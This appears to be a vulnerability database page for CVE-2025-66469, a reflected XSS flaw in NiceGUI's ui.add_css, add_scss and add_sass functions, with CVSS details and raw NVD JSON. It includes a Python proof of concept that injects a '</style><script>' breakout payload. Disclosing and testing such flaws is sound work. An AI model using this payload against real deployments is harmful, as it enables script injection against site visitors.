Security Vulnerability Report
中文
CVE-2025-66469 CVSS 6.1 MEDIUM

CVE-2025-66469

Published: 2025-12-09 00:15:49
Last Modified: 2025-12-11 16:00:55

Description

NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are vulnerable to Reflected XSS through its ui.add_css, ui.add_scss, and ui.add_sass functions. The functions lack proper sanitization or encoding for the JavaScript context they generate. An attacker can break out of the intended <style> or <script> tags by injecting closing tags (e.g., </style> or </script>), allowing for the execution of arbitrary JavaScript. This issue is fixed in version 3.4.0.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:* - VULNERABLE
NiceGUI <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio from nicegui import ui # PoC for CVE-2025-66469: Reflected XSS via ui.add_css # This demonstrates the vulnerability in NiceGUI < 3.4.0 async def vulnerable_page(): """ Example of vulnerable code that allows XSS injection. Attackers can inject closing tags to escape the style context. """ # Malicious CSS input that breaks out of <style> tag malicious_css = "</style><script>alert('XSS - CVE-2025-66469')</script>" # This will render the script tag in the page, causing XSS ui.add_css(malicious_css) ui.label('Vulnerable page - CVE-2025-66469') # To test: # 1. Run this code with NiceGUI < 3.4.0 # 2. Access the page in a browser # 3. The alert will execute, demonstrating XSS vulnerability ui.page('/vulnerable')(vulnerable_page) ui.run()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66469", "sourceIdentifier": "[email protected]", "published": "2025-12-09T00:15:49.330", "lastModified": "2025-12-11T16:00:55.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are vulnerable to Reflected XSS through its ui.add_css, ui.add_scss, and ui.add_sass functions. The functions lack proper sanitization or encoding for the JavaScript context they generate. An attacker can break out of the intended <style> or <script> tags by injecting closing tags (e.g., </style> or </script>), allowing for the execution of arbitrary JavaScript. This issue is fixed in version 3.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4.0", "matchCriteriaId": "AD5CC19F-9BBA-4C0D-879C-627478C1E72B"}]}]}], "references": [{"url": "https://github.com/zauberzeug/nicegui/commit/a8fd25b7d5e23afb1952d0f60a1940e18b5f1ca8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-72qc-wxch-74mg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-72qc-wxch-74mg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}